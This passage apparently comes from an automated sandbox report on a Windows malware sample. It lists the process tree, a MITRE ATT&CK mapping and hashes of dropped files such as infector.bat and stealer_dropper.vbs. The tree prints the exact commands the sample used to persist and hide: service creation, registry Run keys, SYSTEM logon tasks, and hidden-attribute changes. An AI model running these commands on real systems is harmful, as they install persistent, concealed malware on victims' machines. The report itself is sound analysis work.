    - Launches sc.exe
    PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config RootkitService start= auto > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\sc.exe
    sc config RootkitService start= auto
    3⤵
    - Launches sc.exe
    PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\RootkitService" /v "Parameters" /t REG_MULTI_SZ /d "RootkitService" /f > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\RootkitService" /v "Parameters" /t REG_MULTI_SZ /d "RootkitService" /f
    3⤵
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start RootkitService > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:596
- - C:\Windows\system32\sc.exe
    sc start RootkitService
    3⤵
    - Launches sc.exe
    PID:432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy C:\Windows\System32\cmd.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4996
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe"
    3⤵
    - Views/modifies file attributes
    PID:416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "cd /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector" && "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat"" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:2760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "cd /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector" && "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat""
    3⤵
    PID:3240
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
      4⤵
      Adds Run key to start application
      PID:688
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4332
  - - C:\Windows\system32\sc.exe
      sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
      4⤵
      Launches sc.exe
      PID:1696
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
      4⤵
      Views/modifies file attributes
      PID:4072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\reinfection.vbs" > "cmd_output_4312.txt" 2> "cmd_error_4312.txt"
  2⤵
  PID:344
- - C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\reinfection.vbs"
    3⤵
    PID:2092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:3844
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:4672
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3820
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:3192
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:2252
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:2856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:1764
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:3392
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:696
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:5000
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:4020
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:4304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:3244
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:652
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2500
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:5036
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:2612
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:2564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:4824
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:1716
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3312
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:2012
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:3156
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:4736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:5012
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:1888
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1408
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:1348
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:3480
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:3636

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" create SystemUpdateSvc binPath= wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs start= auto
  2⤵
  - Launches sc.exe
  PID:4828
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn SystemUpdate /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5008

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn Persistence /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3660
- C:\Windows\System32\attrib.exe
  "C:\Windows\System32\attrib.exe" +h C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
  2⤵
  - Views/modifies file attributes
  PID:4020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:1676

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
1⤵
- Adds Run key to start application
PID:5084

C:\Windows\system32\schtasks.exe
schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1592

C:\Windows\system32\sc.exe
sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
1⤵
- Launches sc.exe
PID:3060

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
1⤵
- Views/modifies file attributes
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:4056

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
1⤵
- Adds Run key to start application
PID:5068

C:\Windows\system32\schtasks.exe
schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1084

C:\Windows\system32\sc.exe
sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
1⤵
- Launches sc.exe
PID:728

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
1⤵
- Views/modifies file attributes
PID:2504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:4688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:2544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:2940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:1556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cca996ce3a1fb9cc44bcacc9002798fc66eab27146004d38e65ef98539510f66
MD5 be40db6c8fd0d8b32dd97d14f10f8d1c
SHA1 b0f3a526f60d03ca3e0e6ecd5340358b0d345768
SHA512 0c595146fef4919951f9f04b2f13a03094d51c87063882ffe9beb1f1b0e36fb08ca3ff53bdf0bf1c234e02ac7f878fe5bf185ec8db2c437651e74a9a47414f4f
TLSH
T1B9117A33B79CC135C8D9117A1089AD01B2B4C3C7049EDE8F7A84C509E57F58ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 01d2d282ed19563f79bde72fd7a718652f59fad4aac2fde2a8d0b587b3961840
MD5 ae0bbbade668ba4fe8d8c9ddc119b688
SHA1 9e13d79cb20f9eb9db15b036a9b8a068f32bb9c8
SHA512 b9a55ee92ab884346d8cd759602dd6e45f30ef1c8c57b4fabfc5eb5dc9ba00e43459785343a07e262b644ba8b10180c004508d33bb3ce745b7dd940655a656e9
TLSH
T19F217833B3ACC174C8D9117A1098AD0172B5C3C744DE8EDB6B84D108A57F59ADF645E4
MD5 SHA1 SHA512 TLSH

Submit Download

brzouvz279rrm92p.zip

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\brzouvz279rrm92p.zip
Size 5KB
SHA256 7c6ec6565d877584bf88f19f484ff8557368d957598f853efd61130bd02146b1
MD5 279f35179a899706db63e04365eced51
SHA1 34203a6d83cc1011ca7dc879bea9a85a969d5e07
SHA512 984ecbbf30a40a2321a75f333fd66b3aa762b1bea9c9ba6453f19c174242aee38d52c4354e71e48dadf423ea83d8b6c2f50795bf5c9f77a3fef2227822b0c072
SSDEEP 48:0K9ow919lXtLsy4/o6ce0DH3GUANz/7p5LclJfecONkJSI8MJOLrPGjpSHtlXhLs:3J3LsZ/oxb3rARmJfBONejcmmlXhY
TLSH
T1DAB13F222DF41137019290CB7969AB17FFC2C00BD75A2A0172BD07DD1FD2D52D99798A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

payload_loader.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs
Size 469B
SHA256 7a3d3c5e436c04b055fab8b543ab71b7fee0ad3d73d7b54ef23770961ca15104
MD5 5392fa253454e8e292950104de9b1dab
SHA1 89c5d9b0699cb6494aa4833ba423df6e40a56b9c
SHA512 5edee4f491ae72c248b80982ec2bb052ab1ecf6e0888edd15d9df34ea35ed12bb3d8bbfdab3c48adc3ab0c534aad7aca281b934580cbf9f62392f5a37c44e3f1
TLSH
T10AF055ACBF2FCC318D8F6103103BC86DDBA2B7A92110E6A556CCC8C0804935A1E3F782
MD5 SHA1 SHA512 TLSH

Submit Download

persistence_master.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
Size 413B
SHA256 71e8cedf43a60c337b0d3e43baca5dd1842a4650ab51005c90bda0b3a9f139f2
MD5 0fe910da817f76e5e354e8184053e1b4
SHA1 7e26c17f1a17005b3e0706d50eb0c80b50d93bdc
SHA512 93b76d283d6ab25e73a283bc9c8d70041e65f566508c223e3c789149ea6dc642536b03a9897efbd0c4f58cec7e19251cce974e01724b59769cfe646b69a8e033
TLSH
T186E0A228BE3FCD314CAAB103107F8C6EE3A6F3A92020C52100C0C8C000097182E2B282
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_dropper.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\stealer_dropper.vbs
Size 1KB
SHA256 66aa4059282fb3f6648595211ee83201bab8e987d857254b3a4725fdf04f8f96
MD5 8d7b6bcbd8dcd52605ccf69aea6190b4
SHA1 e3f19597054a38716940a68fbb71c4e123f71484
SHA512 d923bc3db0220fd4dff027c2f932478c722798e4c6eb523d534a4734ec2163cf8df7283e98783a2d820ccec543300742f9ca65288892465c9602422e43348c47
TLSH
T12141D10BFA2FCC264F67C193522FDC0D9B559A16601445FDB6BCCC84135CB9D89E106B
MD5 SHA1 SHA512 TLSH

Submit Download

infector.bat

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.bat
Size 366B
SHA256 9a3f356c6460ebc532c60bc7c118a6e12dad30a88dfacc52a52330e754e83269
MD5 f864bd57eb7a617f8c4ba460f0faa2da
SHA1 1784b3037a6422c80f1b8be581414b46390adf42
SHA512 b7e44957f0b8fed57669eb5744dfb547d344fedc62235029c0943e26117ab2dfd2059aaa358360e3e60026ab9970b822f131fc8942db5846735709cb6d7d2751
TLSH
T119E0C038791BC0269757B022840F0E63BF2651DF0400C280309D2015CCD725F46BEED3
MD5 SHA1 SHA512 TLSH

Submit Download

infector.dll

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.dll
Size 1003B
SHA256 93ce1adf50589edddea951372db530f402ed66007d00e7b239de5815da24c1f3
MD5 70ae363588c0f5580141cb3749029742
SHA1 8fc08db8e6e75f4e0ac203bf804cbbdf0c881f72
SHA512 203c7945128332a2cc50028b44f2c57e857a513af307a78098184f42ef1029fe721847d1146eaebdba1b006afcffd74c66f6fb728039700a198dec124ff20f84
MD5 SHA1 SHA512

Submit Download

payloadlibrary.rar

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar
Size 11KB
SHA256 d37e143fd7ee606cd60f8b4007aa2d144579c7cd735edc75abfb1fbdf5dfee7b
MD5 811b244f1e150e68b612c3d45108605b
SHA1 5d836d10f3095964e88760c29c8c7042a60f0295
SHA512 f28f69824e38af5a25e3d7f31b276b5a9d3f19f2e18415495879579ef0cd3343a4ddb8895fa1a5beb0d1a6a2c4518dd9f669344c2668dcbca21045d97aadad38
SSDEEP 96:iMqVAoSlLhqYY4th3Zq36uWlUmtpydeX93aze1VCNRupbL5J8O4laB5My7:zMilLhtDJhKYX5kerCNRupjyy7
TLSH
T1AC32864A0DF680E701A685AA7DB1FD0D6DC5868BC219FC4C32FC90AA1FD7D468DC78A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

reinfection.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\reinfection.vbs
Size 499B
SHA256 98a9ec8db92625ee0d783eae61577cec1e72abd91001bf69f96d9829214124c0
MD5 7d152d969bd7c00a409c96fa2ff07b69
SHA1 d2c9389851f137de7081e75e57f36f4b7b2b3f3f
SHA512 efb2be4c7a03ad573d4f8a7e8815d395c13c46a9b683ceb740249f87a15ca42ca647be7e6b3343647b54951bb34fc93604235b92bcf8cae974fb6ddf5305b9c5
TLSH
T11CF05904A12BCA561E6AC08604A29C2CEDF0799A05346D007F9C9D041BF6B2C670A202
MD5 SHA1 SHA512 TLSH

Submit Download

svchost_hidden.exe

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe
Size 324KB
SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
MD5 c5db7b712f280c3ae4f731ad7d5ea171
SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
TLSH
T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_4kezbwru.hds.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4kezbwru.hds.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_error_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_4312.txt
Size 44B
SHA256 83cee69214da2175b5033379ed8853ff7990d883aa32a0acf6b28bef6f404b66
MD5 03cffe84ae672668b3289188ca1a81f7
SHA1 ddca032e3fd6eaa449e60d61de7c7dd112d2704f
SHA512 c228d06351e4c68ea6b4e400d1fbea8e1e6d8c54c1954463d2d8b3f2b68ca42abf0b12968308d61797cf9d77630fe5516707a5d518b966a2135eb417824f7c62
MD5 SHA1 SHA512

Submit Download

cmd_error_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_4312.txt
Size 57B
SHA256 9afeaa6e13e65a296e8541d8533f93cf047d95d53860e209454e47e7099fae22
MD5 c21ea50a04d9df6d031048dfd5cc8666
SHA1 0fb9f24d6dee95ddbc6985095bcd662e3e826676
SHA512 a2f7db4d9750409968120646ae0488ac81454903f2496369e8c13fbd4b67271960ff6a65c59abcb16eb75cc6c50c64a1cb71d99d8138e814885b9c19ee4d4f07
TLSH
T1A2900245FD485237B5144061748543550A082DA80AC705F1462042D613A5F76DEA2314
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_error_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_4312.txt
Size 93B
SHA256 804b382013bd4fbfc6bceead64edad60baffc3efe443029807998a6a34113bd9
MD5 1981ede98a3fd5aec3a46f0dc8b914fe
SHA1 815eaeafa937bf5b05b68b679d9fc942a5f5fc3a
SHA512 c48281a8c67e1dfc9e301de2df242d975d8aad445c18c38aa64f99fda32d308380661d715f3ddf30b05d19ca61270c55fc474e292182beb45f6c01cc76876a1c
TLSH
T171B012F70ADD555544075004A2140540401CB491A24D47D11344072F8096F10A118A0C
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 143B
SHA256 fd652e6067dba76b47958f0ea1abb48c15360daab24b10ffc1eae3486f14dbce
MD5 73696b7308e57150cf12ebe741ed736b
SHA1 da75e2a510f124363b1244585677ff6c51d75cc9
SHA512 3bedb481435503570c2d39726208bd62fb335f0a01f07abd97e8ed97c7e4bbbf0130cfd59c180ece27af3c7327867b8aed3d175894fa8f44b37ef7d7204636cd
TLSH
T1CBC02B109D8CD30D0BC111813B027A6E5CDC080C2B0D39380F74C00C6F4440972C1F2F
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 27B
SHA256 a04c3131d5d2d6a794281b2525967934811d733be6dfce8658ac90f520f8a14f
MD5 d9c586991facf81ae3350d1f2468d551
SHA1 4021d00ab6d09d9def8964cf7d5b137e2057803d
SHA512 8d37243809f6af2d51f844497fbeb4268366d3121a8c76efe74917c77b5044732acdeb4638ce47b649ab3a00a8584855015d4de374b184db83c0809fa721d421
MD5 SHA1 SHA512

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 40B
SHA256 4499283166530ce395cbc12677fef2bd52759eacdcc5bdde56c039b1a2e99c0b
MD5 13015015dd907d28996153df14881252
SHA1 532c595baae0a027d02d1b28d7b83d57350a310e
SHA512 b81fb62ab27e7722bfcb386766ffa1d1eba05b8b03cd5d2160bb2570f87568381d923ac75017d785e1dec1685769023727f4280e27c2a69cde69772ca62e2a92
MD5 SHA1 SHA512

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 28B
SHA256 596ccc911c1772735aac6a6b756a76d3d55bcecd006b980cf147090b2243fa7b
MD5 a8f4d690c5bde96ad275c7d4abe0e3d3
SHA1 7c62c96efd2ca4f3c3ebf0b24c9b5b4c04a4570a
SHA512 a875ebe3c5cdf222ff9d08576f4d996af827a1c86b3e758ce23f6b33530d512a82ce8e39e519837512080c6212a0a19b3385809be5f5001c4e488dd79550b852
MD5 SHA1 SHA512

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 35B
SHA256 278cae689d7dd61a74bc8dbc11f3adaa8bacd956b5cb627d958cd62e01eb7a03
MD5 94bbf4528d6e6523b8816b8827253392
SHA1 225f1b03851eaf7c6c3ca3a6d80b887d10a989d6
SHA512 38a4a576377fc1183fb833132b810628026e8fe096ce941e4b0395f3c059a946bc4cc01a420280cae5b52262c80ac918b1f21c12b011618e65d2d8eb45ebc3cf
MD5 SHA1 SHA512

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 34B
SHA256 eae9d1bd9f9e1c96e659602a80cd866528027f4e983b728f38c96ab12646ebb8
MD5 800fa32268d8613687472d1a3227d1f4
SHA1 3a72b048a5d2b18ce0443d45c851f5a164e83a8a
SHA512 8777cb2bb687e432136e1cc34b42ee455e8f8040977b2bd846e46228ccf21086ecda65cb34f50fa5bc34b066247f2f006d6b43268ab5e1da68fc5c191d091bbb
MD5 SHA1 SHA512

Submit Download

cmd_output_4312.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_4312.txt
Size 118B
SHA256 f37377c48a678bcb2160e028b3a33952b6170e78d9fab1dcac45181370501a58
